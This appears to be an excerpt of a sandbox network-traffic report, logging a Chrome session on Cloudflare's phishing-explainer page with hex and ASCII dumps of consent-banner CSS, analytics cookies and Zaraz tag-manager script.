2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 72 65 2d 68 65 61 6c 74 68 2d 67 72 6f 75 70 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 63 6f 6e 74 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 2e 32 35 72 65 6d 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 70 61 72 61 67 72 61 70 68 2c 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d 67 72 6f 75 70 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 70 61 72 61 67 72 61 70 68 7b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a Data Ascii: re-health-group .ot-signature-cont{display:flex;flex-direction:column;gap:.25rem}#onetrust-consent-sdk .ot-signature-health .ot-signature-paragraph,#onetrust-consent-sdk .ot-signature-health-group .ot-signature-paragraph{margin:0;line-height:20px;font-siz
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 63 6f 6e 74 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 69 6e 70 75 74 7b 77 69 64 74 68 3a 36 35 25 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d 66 6f 72 6d 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d 66 6f 72 6d 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 6c 61 62 65 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6d 61 78 28 31 34 70 78 2c 2e 38 37 35 72 65 6d 29 7d 40 6d 65 64 69 61 20 6f Data Ascii: cont .ot-signature-input{width:65%}#onetrust-consent-sdk .ot-signature-health-form{display:flex;flex-direction:column}#onetrust-consent-sdk .ot-signature-health-form .ot-signature-label{margin-bottom:0;line-height:20px;font-size:max(14px,.875rem)}@media o
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 75 6c 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 6c 69 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 6e 61 76 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 61 62 6c 65 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 68 65 61 64 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 72 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 64 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 62 6f 64 79 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e Data Ascii: ,#onetrust-banner-sdk ul,#onetrust-banner-sdk li,#onetrust-banner-sdk nav,#onetrust-banner-sdk table,#onetrust-banner-sdk thead,#onetrust-banner-sdk tr,#onetrust-banner-sdk td,#onetrust-banner-sdk tbody,#onetrust-banner-sdk .ot-main-content,#onetrust-bann
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 61 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 6c 61 62 65 6c 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 69 6e 70 75 74 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 75 6c 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 6c 69 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 6e 61 76 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 74 61 62 6c 65 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 74 68 65 61 64 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 74 72 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c Data Ascii: #ot-sdk-cookie-policy a,#ot-sdk-cookie-policy label,#ot-sdk-cookie-policy input,#ot-sdk-cookie-policy ul,#ot-sdk-cookie-policy li,#ot-sdk-cookie-policy nav,#ot-sdk-cookie-policy table,#ot-sdk-cookie-policy thead,#ot-sdk-cookie-policy tr,#ot-sdk-cookie-pol

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	50769	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:11 UTC	2124	OUT	POST /static/z/t HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive Content-Length: 1314 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
2024-10-18 13:48:11 UTC	1314	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 70 61 67 65 5f 6c 6f 61 64 22 2c 22 64 61 74 61 22 3a 7b 22 67 6f 6f 67 6c 65 5f 63 6f 6e 73 65 6e 74 5f 64 65 66 61 75 6c 74 22 3a 7b 22 61 64 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 75 73 65 72 5f 64 61 74 61 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 6e 61 6c 79 74 69 63 73 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 73 65 63 75 72 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 Data Ascii: {"name":"page_load","data":{"google_consent_default":{"ad_storage":"granted","ad_user_data":"granted","ad_personalization":"granted","analytics_storage":"granted","security_storage":"granted","functionality_storage":"granted","personalization_storage":"gr
2024-10-18 13:48:11 UTC	1273	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:11 GMT Content-Type: application/json Content-Length: 1204 Connection: close Access-Control-Allow-Origin: https://www.cloudflare.com Set-Cookie: cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%221%22%7D%7D; Domain=cloudflare.com; Path=/; HttpOnly; Secure; SameSite=Lax Vary: Origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Set-Cookie, Cache-Control Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS Access-Control-Max-Age: 600 set-cookie: google-analytics_v4_nzcr__conversionCounter=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_OwdI__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_VVgx__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_bHox__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: facebook-pixel_elKW__fb-pixel=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax set-cookie: reddit_fZaD__reddit_uuid=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax
2024-10-18 13:48:11 UTC	1002	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 44 75 72 61 74 69 6f 6e 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 5f 76 34 5f 6e 7a 63 72 5f 5f 65 6e 67 61 67 65 6d 65 6e 74 53 74 61 72 74 3d 3b 20 44 6f 6d 61 69 6e 3d 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 Data Ascii: set-cookie: google-analytics_v4_nzcr__engagementDuration=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Laxset-cookie: google-analytics_v4_nzcr__engagementStart=; Domain=cloudflare.com; Path=/; Max-Age=0; HttpOnly; Secure; SameSi
2024-10-18 13:48:11 UTC	1592	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 63 66 7a 5f 66 61 63 65 62 6f 6f 6b 2d 70 69 78 65 6c 3d 25 37 42 25 32 32 4f 77 64 49 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 34 36 34 34 35 34 39 37 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 56 56 67 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 25 33 41 25 37 42 25 32 32 76 25 32 32 25 33 41 25 32 32 66 62 2e 32 2e 31 37 32 39 32 35 39 32 39 30 37 33 39 2e 31 30 37 38 38 33 37 36 34 33 25 32 32 25 32 43 25 32 32 65 25 32 32 25 33 41 31 37 36 30 37 39 35 32 39 30 37 33 39 25 37 44 25 32 43 25 32 32 62 48 6f 78 5f 66 62 2d 70 69 78 65 6c 25 32 32 Data Ascii: set-cookie: cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22
2024-10-18 13:48:11 UTC	421	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 4c 70 52 70 76 56 38 6d 79 67 38 50 6c 62 56 63 25 32 42 4f 46 61 46 6a 25 32 42 57 51 71 36 59 34 62 75 36 48 57 49 4d 46 53 72 39 6d 36 73 6a 77 41 56 72 25 32 42 56 46 4c 79 4b 54 53 41 25 32 42 68 65 25 32 46 45 55 49 68 7a 25 32 42 71 36 78 64 54 75 4e 66 6d 38 37 4b 52 6d 66 4d 79 5a 32 5a 4a 39 51 74 61 61 55 58 62 77 79 62 73 6f 6c 51 65 44 25 32 46 58 48 39 67 76 7a 4b 31 55 34 77 34 66 6c 72 78 62 72 6a 68 44 35 45 53 37 44 73 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LpRpvV8myg8PlbVc%2BOFaFj%2BWQq6Y4bu6HWIMFSr9m6sjwAVr%2BVFLyKTSA%2Bhe%2FEUIhz%2Bq6xdTuNfm87KRmfMyZ2ZJ9QtaaUXbwybsolQeD%2FXH9gvzK1U4w4flrxbrjhD5ES7Dsw%3D%3D"}],"group":"cf-nel","m
2024-10-18 13:48:11 UTC	1204	IN	Data Raw: 7b 22 65 22 3a 5b 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 41 6c 6c 54 72 61 63 6b 73 5c 22 29 3b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 44 45 62 76 5c 22 29 3b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 2c 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 7b 78 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2c 78 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 21 30 2c 78 2e 6f 70 65 6e 28 5c 22 50 4f 53 54 5c 22 2c 5c 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 67 2f 63 6f 6c 6c 65 63 74 3f 74 3d 64 63 26 61 69 70 3d 31 26 5f 72 3d 33 26 Data Ascii: {"e":["(function(w,d){w.zarazData.executed.push(\"AllTracks\");w.zarazData.executed.push(\"DEbv\");})(window,document)","(function(w,d){{x=new XMLHttpRequest,x.withCredentials=!0,x.open(\"POST\",\"https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	50778	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:11 UTC	2397	OUT	GET /static/z/s.js?z=JTdCJTIyZXhlY3V0ZWQlMjIlM0ElNUIlNUQlMkMlMjJ0JTIyJTNBJTIyV2hhdCUyMGlzJTIwYSUyMHBoaXNoaW5nJTIwYXR0YWNrJTNGJTIwJTdDJTIwQ2xvdWRmbGFyZSUyMiUyQyUyMnglMjIlM0EwLjMzODE3NzAzMzc0MDU2NDMlMkMlMjJ3JTIyJTNBMTI4MCUyQyUyMmglMjIlM0ExMDI0JTJDJTIyaiUyMiUzQTkwNyUyQyUyMmUlMjIlM0ExMjgwJTJDJTIybCUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGd3d3LmNsb3VkZmxhcmUuY29tJTJGbGVhcm5pbmclMkZhY2Nlc3MtbWFuYWdlbWVudCUyRnBoaXNoaW5nLWF0dGFjayUyRiUyMiUyQyUyMnIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmJvb2tpbmdhZG9jZWwuY29tJTJGJTIyJTJDJTIyayUyMiUzQTI0JTJDJTIybiUyMiUzQSUyMlVURi04JTIyJTJDJTIybyUyMiUzQTI0MCUyQyUyMnElMjIlM0ElNUIlNUQlN0Q= HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
2024-10-18 13:48:11 UTC	844	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:11 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 10713 Connection: close Access-Control-Allow-Origin: https://www.cloudflare.com Vary: Origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Set-Cookie, Cache-Control Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS Access-Control-Max-Age: 600 X-Robots-Tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UeT3%2FI%2B0BJmbI%2BR0IUYB2R4QuXNBd2dyKcAhEsPpGI0%2BbcGQpOWmVcyLymHT6N7fplhcOXDz4O5HAAugY3Qy94CluOH7FB3JunGFaZbm1z8P1JGxj8oWJ3C5bN212SJkcs7UCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc0d7f376b61-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:11 UTC	525	IN	Data Raw: 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 7a 61 72 61 7a 2e 64 65 62 75 67 3d 28 70 45 3d 22 22 29 3d 3e 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 60 7a 61 72 61 7a 44 65 62 75 67 3d 24 7b 70 45 7d 3b 20 70 61 74 68 3d 2f 60 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 7d 3b 77 69 6e 64 6f 77 2e 7a 61 72 61 7a 2e 5f 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 6f 68 2c 6f 69 2c 6f 6a 29 7b 77 2e 7a 61 72 61 7a 2e 6c 69 73 74 65 6e 65 72 73 2e 70 75 73 68 28 7b 69 74 65 6d 3a 6f 68 2c 74 79 70 65 3a 6f 69 2c 63 61 6c 6c 62 61 63 6b 3a 6f 6a 7d 29 3b 6f 68 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 6f 69 2c 6f 6a 29 7d 3b 7a 61 72 61 7a 2e 70 72 65 76 69 65 77 3d 28 6f 6b 3d 22 22 29 3d 3e 7b 64 6f 63 75 6d 65 6e 74 2e 63 Data Ascii: try{(function(w,d){zaraz.debug=(pE="")=>{document.cookie=`zarazDebug=${pE}; path=/`;location.reload()};window.zaraz._al=function(oh,oi,oj){w.zaraz.listeners.push({item:oh,type:oi,callback:oj});oh.addEventListener(oi,oj)};zaraz.preview=(ok="")=>{document.c
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 67 74 68 3b 70 4d 2b 2b 29 7b 63 6f 6e 73 74 20 70 4e 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 70 4c 26 26 28 70 4e 2e 6e 6f 6e 63 65 3d 70 4c 29 3b 70 4a 5b 70 4d 5d 2e 69 6e 6e 65 72 48 54 4d 4c 26 26 28 70 4e 2e 69 6e 6e 65 72 48 54 4d 4c 3d 70 4a 5b 70 4d 5d 2e 69 6e 6e 65 72 48 54 4d 4c 29 3b 66 6f 72 28 63 6f 6e 73 74 20 70 4f 20 6f 66 20 70 4a 5b 70 4d 5d 2e 61 74 74 72 69 62 75 74 65 73 29 70 4e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 70 4f 2e 6e 61 6d 65 2c 70 4f 2e 76 61 6c 75 65 29 3b 64 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 70 4e 29 3b 70 4a 5b 70 4d 5d 2e 72 65 6d 6f 76 65 28 29 7d 64 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 70 49 29 7d 3b 7a 61 72 61 7a 2e 66 3d 61 73 79 Data Ascii: gth;pM++){const pN=d.createElement("script");pL&&(pN.nonce=pL);pJ[pM].innerHTML&&(pN.innerHTML=pJ[pM].innerHTML);for(const pO of pJ[pM].attributes)pN.setAttribute(pO.name,pO.value);d.head.appendChild(pN);pJ[pM].remove()}d.body.appendChild(pI)};zaraz.f=asy
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 67 65 74 49 74 65 6d 28 6f 53 29 29 7d 63 61 74 63 68 7b 6f 4f 2e 64 61 74 61 5b 6f 53 2e 73 6c 69 63 65 28 37 29 5d 3d 6f 52 2e 67 65 74 49 74 65 6d 28 6f 53 29 7d 7d 29 29 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 7a 61 72 61 7a 2e 70 61 67 65 56 61 72 69 61 62 6c 65 73 29 2e 66 6f 72 45 61 63 68 28 28 6f 55 3d 3e 6f 4f 2e 64 61 74 61 5b 6f 55 5d 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 7a 61 72 61 7a 2e 70 61 67 65 56 61 72 69 61 62 6c 65 73 5b 6f 55 5d 29 29 29 7d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 7a 61 72 61 7a 2e 5f 5f 7a 63 6c 29 2e 66 6f 72 45 61 63 68 28 28 6f 56 3d 3e 6f 4f 2e 64 61 74 61 5b 60 5f 5f 7a 63 6c 5f 24 7b 6f 56 7d 60 5d 3d 7a 61 72 61 7a 2e 5f 5f 7a 63 6c 5b 6f 56 5d 29 29 3b 6f 4f 2e 64 61 74 61 2e 5f 5f 7a 61 72 61 7a 4d 43 4c 69 73 74 Data Ascii: getItem(oS))}catch{oO.data[oS.slice(7)]=oR.getItem(oS)}}));Object.keys(zaraz.pageVariables).forEach((oU=>oO.data[oU]=JSON.parse(zaraz.pageVariables[oU])))}Object.keys(zaraz.__zcl).forEach((oV=>oO.data[`__zcl_${oV}`]=zaraz.__zcl[oV]));oO.data.__zarazMCList
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 63 6f 6e 73 74 7b 6d 3a 70 62 2c 61 3a 70 63 7d 6f 66 20 7a 61 72 61 7a 44 61 74 61 2e 71 2e 66 69 6c 74 65 72 28 28 28 7b 6d 3a 70 64 7d 29 3d 3e 5b 22 64 65 62 75 67 22 2c 22 73 65 74 22 5d 2e 69 6e 63 6c 75 64 65 73 28 70 64 29 29 29 29 7a 61 72 61 7a 5b 70 62 5d 28 2e 2e 2e 70 63 29 3b 66 6f 72 28 63 6f 6e 73 74 7b 6d 3a 70 65 2c 61 3a 70 66 7d 6f 66 20 7a 61 72 61 7a 2e 71 29 7a 61 72 61 7a 5b 70 65 5d 28 2e 2e 2e 70 66 29 3b 64 65 6c 65 74 65 20 7a 61 72 61 7a 2e 71 3b 64 65 6c 65 74 65 20 7a 61 72 61 7a 44 61 74 61 2e 71 3b 7a 61 72 61 7a 2e 73 70 61 50 61 67 65 76 69 65 77 3d 28 29 3d 3e 7b 7a 61 72 61 7a 44 61 74 61 2e 6c 3d 64 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 7a 61 72 61 7a 44 61 74 61 2e 74 3d 64 2e 74 69 74 6c 65 3b Data Ascii: ;for(const{m:pb,a:pc}of zarazData.q.filter((({m:pd})=>["debug","set"].includes(pd))))zaraz[pb](...pc);for(const{m:pe,a:pf}of zaraz.q)zaraz[pe](...pf);delete zaraz.q;delete zarazData.q;zaraz.spaPageview=()=>{zarazData.l=d.location.href;zarazData.t=d.title;
2024-10-18 13:48:11 UTC	1369	IN	Data Raw: 7d 7d 3b 77 2e 7a 61 72 61 7a 2e 5f 61 6c 28 64 2c 5c 22 73 63 72 6f 6c 6c 5c 22 2c 70 6f 29 3b 77 2e 7a 61 72 61 7a 2e 5f 61 6c 28 77 2c 5c 22 72 65 73 69 7a 65 5c 22 2c 70 6f 29 3b 70 6f 28 29 3b 7d 29 28 29 3b 77 2e 7a 61 72 61 7a 44 61 74 61 2e 65 78 65 63 75 74 65 64 2e 70 75 73 68 28 5c 22 50 61 67 65 76 69 65 77 5c 22 29 3b 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 22 2c 22 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 7b 63 6f 6e 73 74 20 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 64 69 76 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 60 3c 6e 6f 73 63 72 69 70 74 3e 5c 6e 3c 69 6d 67 20 68 65 69 67 68 74 3d 5c 22 31 5c 22 20 77 69 64 74 68 3d 5c 22 31 5c 22 20 73 74 79 6c 65 3d 5c 22 64 Data Ascii: }};w.zaraz._al(d,\"scroll\",po);w.zaraz._al(w,\"resize\",po);po();})();w.zarazData.executed.push(\"Pageview\");})(window,document)","(function(w,d){{const d = 